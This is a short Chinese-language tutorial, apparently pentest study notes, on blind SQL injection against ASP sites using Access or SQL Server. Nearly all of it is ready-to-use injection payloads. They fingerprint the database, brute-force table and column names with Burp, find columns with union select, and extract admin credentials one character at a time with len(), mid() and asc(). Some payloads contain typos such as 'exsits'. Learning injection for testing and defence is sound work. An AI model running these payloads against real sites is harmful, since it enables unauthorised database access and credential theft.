---

注入流程：

判断数据库类型 ——> 判断表名 ——> 判断列名 ——> 判断列名长度 ——> 查出数据。

---

asp的网站，常用数据库为access、sqlserver。

1、判断数据库类型

and exsits (select * from msysobjects)>0 access
and exsits (select * from sysobjects)>0 sqlserver

上述语句会返回1或者0。
msysobjects是access的默认数据库，
sysobjects是sqlserver的默认数据库。

如图：


这里就能判断是access的数据库。

---

2、判断表名

遍历表名：and exists (select * from 表名)
#存在就返回正常页面，不存在就报错。

举例：
and exists (select * from admin_user)

使用BP对后面的admin_user所在位置的值进行遍历
假设这里跑出来表名就是：admin_user

---

3、判断列名

遍历列名：and exists (select 列名 from 表名)
#存在就返回正常页面，不存在就报错。

举例：
and exists (select admin from admin_user)

已经得知表名是admin_user，使用BP对列名admin所在位置的值进行遍历
假设这里跑出来列名就是：admin

---

4、判断列数

order by 7

前提：页面中需要有显示位

1）判断显示位

使用联合查询
union select 1,2,3,4,5,6,7 from admin_user

---

5、判断数据长度

and (select top 1 len(列名) from 表名)>5
#此为此列第一条数据的长度，判断其是不是大于5

and (select top 1 len(列名) from 表名)=5
#此为此列第一条数据的长度是不是等于5

举例：
and (select top 1 len(admin) from admin_user)=5

假如返回是真，那就说明admin_user这个表里面对应的admin这一列的第一个数据长度时5.

---

6、爆破数据内容

and (select top 1 asc(mid(列名,位数,1)) from admin)=97
#mid()用于从文本中提取字段，mid(列名，起始位置，要返回的字符数)
#asc()是进行ASCII编码

举例：
and (select top 1 asc(mid(admin,1,1)) from admin_user)=97（97对应的字母为a）

#若返回真，说明admin_user这个表中admin字段对应的那一列的第一条数据的第一位是 ’ a ’

---